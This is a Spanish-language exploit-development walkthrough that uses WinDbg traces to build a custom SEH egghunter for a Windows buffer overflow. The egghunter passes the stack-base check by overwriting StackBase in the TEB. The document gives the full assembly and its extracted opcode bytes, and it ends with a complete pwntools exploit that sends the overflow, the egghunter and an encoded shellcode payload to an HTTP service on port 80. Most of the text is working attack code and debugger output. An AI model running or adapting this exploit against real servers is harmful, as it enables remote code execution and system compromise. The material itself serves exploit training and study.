    PEB Address:          00282000
    LastErrorValue:       0
    LastStatusValue:      c000000d
    Count Owned Locks:    0
    HardErrorMode:        0

La siguiente instruccion es un test entre el primer byte de ecx y el valor de 0x03, esta instruccion es para confirmar que la direccion de memoria de la estructura _EXCEPTION_REGISTRATION_RECORD esta alineada con el limite de 4 bytes, ya que no hemos realizado operaciones aritmeticas en esp la alineacion no deberia alterarse

0:000> r
eax=0367ea34 ebx=03680000 ecx=0367ea2c edx=77dfbad4 esi=0367e5c0 edi=0367c000  
eip=77d26b58 esp=0367e518 ebp=0367e5a8 iopl=0         nv up ei ng nz na po cy  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000283  
ntdll!RtlDispatchException+0x148:
77d26b58 f6c103          test    cl,3

0:000> !teb
TEB at 00287000
    ExceptionList:        0367ea2c
    StackBase:            03680000
    StackLimit:           0367c000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 00287000
    EnvironmentPointer:   00000000
    ClientId:             00001680 . 000012f8
    RpcHandle:            00000000
    Tls Storage:          00650cf0
    PEB Address:          00282000
    LastErrorValue:       0
    LastStatusValue:      c000000d
    Count Owned Locks:    0
    HardErrorMode:        0

0:000> ? cl & 0x03
Evaluate expression: 0 = 00000000

El programa obtiene la dirección de la función _except_handler y comprueban si se encuentra en una dirección mayor a la de StackBase, esta se implementa porque la pila solo debe contener datos, las funciones pueden leer o escribir en ella pero no deberia tener código ejecutable, debido a que _except_handler esta iumplementada en el egghunter localizado en la pila no pasamos esta comprobación por lo que no alcanzaremos la llamada a la función RtlIsValidHandle donde esperabamos llegar

0:000> r
eax=0367ea34 ebx=03680000 ecx=0367ea2c edx=77dfbad4 esi=0367e5c0 edi=0367c000
eip=77d26b61 esp=0367e518 ebp=0367e5a8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!RtlDispatchException+0x151:
77d26b61 8b4904          mov     ecx,dword ptr [ecx+4] ds:0023:0367ea30=0367eac6  

0:008> dt ntdll!_EXCEPTION_REGISTRATION_RECORD @ecx
   +0x000 Next             : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x0367eac6     _EXCEPTION_DISPOSITION  +367eac6

0:000> p
eax=0367ea34 ebx=03680000 ecx=0367eac6 edx=77dfbad4 esi=0367e5c0 edi=0367c000
eip=77d26b64 esp=0367e518 ebp=0367e5a8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!RtlDispatchException+0x154:
77d26b64 3bcb            cmp     ecx,ebx

0:000> r ecx; r ebx
ecx=0367eac6
ebx=03680000

0:000> !teb
TEB at 00287000
    ExceptionList:        0367ea2c
    StackBase:            03680000
    StackLimit:           0367c000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 00287000
    EnvironmentPointer:   00000000
    ClientId:             00001680 . 000012f8
    RpcHandle:            00000000
    Tls Storage:          00650cf0
    PEB Address:          00282000
    LastErrorValue:       0
    LastStatusValue:      c000000d
    Count Owned Locks:    0
    HardErrorMode:        0

Para pasar la comprabación podemos sobrescribir el StackBase con un valor que tendria que ser menor que nuestra función _except_handler pero superior a la estructura _EXCEPTION_REGISTRATION_RECORD, el egghunter ya toma la funcion _except_handler dinamicamente por lo que podriamos restarle 4 bytes y usarlo para sobrescribir StackBase como se muestra en las ultimas 3 instrucciones añadidas

    .seh:
        mov eax, 0x74303077        ; $eax = "w00t"

        pop ecx                    ; $ecx = handler
        push ecx                   ; push handler
        push 0xffffffff            ; push nseh

        xor ebx, ebx               ; $ebx = 0x0
        mov [fs:ebx], esp          ; overwrite ExceptionList in TEB

        sub ecx, 0x4               ; sub 0x4 (SEH Handler > StackBase)
        add ebx, 0x4               ; add 0x4 to point to StackBase
        mov [fs:ebx], ecx          ; overwrite StackBase to pass check

Nuestro egghunter final se ve de esta forma, solo necesitamos compilarlo y obtenerlo en un formato que podamos usar en python como hemos hecho antes

global _start:

_start:
    jmp .addr                      ; jmp to call .seh

    .seh:
        mov eax, 0x74303077        ; $eax = "w00t"

        pop ecx                    ; $ecx = handler
        push ecx                   ; push handler
        push 0xffffffff            ; push nseh

        xor ebx, ebx               ; $ebx = 0x0
        mov [fs:ebx], esp          ; overwrite ExceptionList in TEB

        sub ecx, 0x4               ; sub 0x4 (SEH Handler > StackBase)  
        add ebx, 0x4               ; add 0x4 to point to StackBase
        mov [fs:ebx], ecx          ; overwrite StackBase to pass check  

    .find:
        push 0x2                   ; push 0x2
        pop ecx                    ; $ecx = counter

        mov edi, ebx               ; $edi = address
        repz scasd                 ; cmp eax, [edi]

        jnz .loop                  ; if zf == 0 -> loop

        jmp edi                    ; if zf == 1 -> exec

    .page:
        or bx, 0xfff               ; get last address in page

    .loop:
        inc ebx                    ; increase memory counter
        jmp .find                  ; loop to cmp

    .addr:
        call .seh                  ; call .seh to set handler

        push 0xc                   ; push 0xc
        pop ecx                    ; $ecx = 0xc
        mov eax, [esp + ecx]       ; $eax = structure for exception

        mov cl, 0xb8               ; $ecx = offset to eip
        add dword [eax + ecx], 0x6 ; add 0x6 to eip = .page

        pop eax                    ; $eax = return value
        add esp, 0x10              ; clear stack
        push eax                   ; push return value

        xor eax, eax               ; $eax = 0x0
        ret                        ; return to .page

❯ nasm -f elf egghunter.asm -o egghunter.o; ld egghunter.o -m elf_i386 -o egghunter

❯ objdump -d egghunter | grep '[0-9a-f]:' | grep -v 'egghunter' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s  
\xeb\x2a\xb8\x77\x30\x30\x74\x59\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3  

Nuevamente ejecutamos el programa y corremos el exploit hasta llegar a la excepción

0:000> g
(21c0.478): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=02262ca0 ecx=0000000e edx=0454e508 esi=02262ca0 edi=0041703c  
eip=0454ea8d esp=0454ea24 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
0454ea8d cc              int     3

0:000> g
(21c0.478): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=74303077 ebx=00000004 ecx=00000002 edx=0454e508 esi=02262ca0 edi=00000004  
eip=0454eaac esp=0454ea1c ebp=41414141 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202  
0454eaac f3af            repe scas dword ptr es:[edi]

Igual que antes establecemos un breakpoint en el controlador pero esta vez si que lo alcanzamos, veamos como funciona el manejo de la excepción que se implementa

0:000> !exchain
0454ea1c: 0454eabf
Invalid exception stack at ffffffff

0:000> bp 0x0454eabf

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=0454eabf edx=77128ac0 esi=00000000 edi=00000000  
eip=0454eabf esp=0454e468 ebp=0454e488 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
0454eabf 6a0c            push    0Ch

Nuestro codigo inicia almacenando 0xc en ecx que usa como offset con el registro esp para buscar el argumento en eax con el puntero a la estructura CONTEXT

0:000> r
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=0454eabf edx=77128ac0 esi=00000000 edi=00000000
eip=0454eabf esp=0454e468 ebp=0454e488 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
0454eabf 6a0c            push    0Ch

0:000> p
eax=00000000 ebx=00000000 ecx=0454eabf edx=77128ac0 esi=00000000 edi=00000000
eip=0454eac1 esp=0454e464 ebp=0454e488 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
0454eac1 59              pop     ecx

0:000> p
eax=00000000 ebx=00000000 ecx=0000000c edx=77128ac0 esi=00000000 edi=00000000
eip=0454eac2 esp=0454e468 ebp=0454e488 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
0454eac2 8b040c          mov     eax,dword ptr [esp+ecx] ss:002b:0454e474=0454e5bc  

Sabemos que el valor eip en la estructura CONTEXT apunta a la instruccion que causó la excepción (repz scasd), al restaurar el flujo de la ejecución nos gustaría que apuntara a .page que ejecuta or bx, 0xfff que esta 0x6 bytes después

0:000> p
eax=0454e5bc ebx=00000000 ecx=0000000c edx=77128ac0 esi=00000000 edi=00000000  
eip=0454eac5 esp=0454e468 ebp=0454e488 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
0454eac5 b1b8            mov     cl,0B8h

0:000> dt ntdll!_CONTEXT @eax
   +0x000 ContextFlags     : 0x1007f
   +0x004 Dr0              : 0
   +0x008 Dr1              : 0
   +0x00c Dr2              : 0
   +0x010 Dr3              : 0
   +0x014 Dr6              : 0
   +0x018 Dr7              : 0
   +0x01c FloatSave        : _FLOATING_SAVE_AREA
   +0x08c SegGs            : 0x2b
   +0x090 SegFs            : 0x53
   +0x094 SegEs            : 0x2b
   +0x098 SegDs            : 0x2b
   +0x09c Edi              : 4
   +0x0a0 Esi              : 0x2262ca0
   +0x0a4 Ebx              : 4
   +0x0a8 Edx              : 0x454e508
   +0x0ac Ecx              : 2
   +0x0b0 Eax              : 0x74303077
   +0x0b4 Ebp              : 0x41414141
   +0x0b8 Eip              : 0x454eaac
   +0x0bc SegCs            : 0x23
   +0x0c0 EFlags           : 0x10202
   +0x0c4 Esp              : 0x454ea1c
   +0x0c8 SegSs            : 0x2b
   +0x0cc ExtendedRegisters : [512]  "???"

0:000> u 0x454eaac
0454eaac f3af            repe scas dword ptr es:[edi]
0454eaae 7507            jne     0454eab7
0454eab0 ffe7            jmp     edi
0454eab2 6681cbff0f      or      bx,0FFFh
0454eab7 43              inc     ebx
0454eab8 ebed            jmp     0454eaa7
0454eaba e8d1ffffff      call    0454ea90
0454eabf 6a0c            push    0Ch

0:000> ? 0x0454eab2 - 0x0454eaac
Evaluate expression: 6 = 00000006

Resumiendo, cada que repz scasd causa una excepción nuestro controlador personalizado lleva el flujo a .page que aumenta la página hasta que esta sea valida

0:000> p
eax=0454e5bc ebx=00000000 ecx=000000b8 edx=77128ac0 esi=00000000 edi=00000000
eip=0454eac7 esp=0454e468 ebp=0454e488 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
0454eac7 83040806        add     dword ptr [eax+ecx],6 ds:002b:0454e674=0454eaac  

0:000> p
eax=0454e5bc ebx=00000000 ecx=000000b8 edx=77128ac0 esi=00000000 edi=00000000
eip=0454eacb esp=0454e468 ebp=0454e488 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
0454eacb 58              pop     eax

0:000> dt ntdll!_CONTEXT @eax
   +0x000 ContextFlags     : 0x1007f
   +0x004 Dr0              : 0
   +0x008 Dr1              : 0
   +0x00c Dr2              : 0
   +0x010 Dr3              : 0
   +0x014 Dr6              : 0
   +0x018 Dr7              : 0
   +0x01c FloatSave        : _FLOATING_SAVE_AREA
   +0x08c SegGs            : 0x2b
   +0x090 SegFs            : 0x53
   +0x094 SegEs            : 0x2b
   +0x098 SegDs            : 0x2b
   +0x09c Edi              : 4
   +0x0a0 Esi              : 0x2262ca0
   +0x0a4 Ebx              : 4
   +0x0a8 Edx              : 0x454e508
   +0x0ac Ecx              : 2
   +0x0b0 Eax              : 0x74303077
   +0x0b4 Ebp              : 0x41414141
   +0x0b8 Eip              : 0x454eab2
   +0x0bc SegCs            : 0x23
   +0x0c0 EFlags           : 0x10202
   +0x0c4 Esp              : 0x454ea1c
   +0x0c8 SegSs            : 0x2b
   +0x0cc ExtendedRegisters : [512]  "???"

0:000> u 0x454eab2
0454eab2 6681cbff0f      or      bx,0FFFh
0454eab7 43              inc     ebx
0454eab8 ebed            jmp     0454eaa7
0454eaba e8d1ffffff      call    0454ea90
0454eabf 6a0c            push    0Ch
0454eac1 59              pop     ecx
0454eac2 8b040c          mov     eax,dword ptr [esp+ecx]
0454eac5 b1b8            mov     cl,0B8h

Ya que entendimos como funcione el egghunter podemos deshabilitar las excepciones y establecer un breakpoint en el jmp edi, al dejar que el programa corra llegamos al breakpoint que indica que en edi se encuentra nuestro shellcode

0:000> sxd av

0:000> sxd gp

0:000> bc *

0:000> bp 0x0454eab0

0:000> g
Breakpoint 0 hit
eax=74303077 ebx=04a58183 ecx=00000000 edx=0454e508 esi=02262ca0 edi=04a5818b  
eip=0454eab0 esp=0454ea1c ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
0454eab0 ffe7            jmp     edi {04a5818b}

0:000> u edi
04a5818b 43              inc     ebx
04a5818c 43              inc     ebx
04a5818d 43              inc     ebx
04a5818e 43              inc     ebx
04a5818f 43              inc     ebx
04a58190 43              inc     ebx
04a58191 43              inc     ebx
04a58192 43              inc     ebx

Al exploit anterior solo le cambiamos el egghunter y ahora al ejecutarlo deberia de funcionar correctamente casi en cualquier sistema ya que no depende de la syscall

#!/usr/bin/python3
from pwn import remote, p32, asm

egg = b"w00t" * 2
egghunter = b"\xeb\x2a\xb8\x77\x30\x30\x74\x59\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"  

shellcode =  b""
shellcode += b"\xfc\xbb\xc2\x02\xd8\xe2\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x3e\xea\x5a\xe2\xbe\xeb\x3a\x6a"
shellcode += b"\x5b\xda\x7a\x08\x28\x4d\x4b\x5a\x7c\x62\x20"
shellcode += b"\x0e\x94\xf1\x44\x87\x9b\xb2\xe3\xf1\x92\x43"
shellcode += b"\x5f\xc1\xb5\xc7\xa2\x16\x15\xf9\x6c\x6b\x54"
shellcode += b"\x3e\x90\x86\x04\x97\xde\x35\xb8\x9c\xab\x85"
shellcode += b"\x33\xee\x3a\x8e\xa0\xa7\x3d\xbf\x77\xb3\x67"
shellcode += b"\x1f\x76\x10\x1c\x16\x60\x75\x19\xe0\x1b\x4d"
shellcode += b"\xd5\xf3\xcd\x9f\x16\x5f\x30\x10\xe5\xa1\x75"
shellcode += b"\x97\x16\xd4\x8f\xeb\xab\xef\x54\x91\x77\x65"
shellcode += b"\x4e\x31\xf3\xdd\xaa\xc3\xd0\xb8\x39\xcf\x9d"
shellcode += b"\xcf\x65\xcc\x20\x03\x1e\xe8\xa9\xa2\xf0\x78"
shellcode += b"\xe9\x80\xd4\x21\xa9\xa9\x4d\x8c\x1c\xd5\x8d"
shellcode += b"\x6f\xc0\x73\xc6\x82\x15\x0e\x85\xc8\xe8\x9c"
shellcode += b"\xb0\xbf\xeb\x9e\xba\xef\x83\xaf\x31\x60\xd3"
shellcode += b"\x2f\x90\xc4\x2b\x7a\xb8\x6d\xa4\x23\x29\x2c"
shellcode += b"\xa9\xd3\x84\x73\xd4\x57\x2c\x0c\x23\x47\x45"
shellcode += b"\x09\x6f\xcf\xb6\x63\xe0\xba\xb8\xd0\x01\xef"
shellcode += b"\xdb\xb7\x91\x73\x35\x5d\x12\x11\x49\x9d\xe2"
shellcode += b"\xd9\x49\x9d\xe2\xd9"

offset = 253
junk = b"A" * (offset - len(egghunter))

ret = p32(0x00418674)

payload  = b""
payload += egghunter
payload += junk
payload += ret

method  = b""
method += asm("xor eax, eax")
method += asm("jle $+0x17")

content  = b""
content += method + b" /" + payload + b"\r\n\r\n"
content += egg + shellcode

shell = remote("Windows", 80)
shell.sendline(content)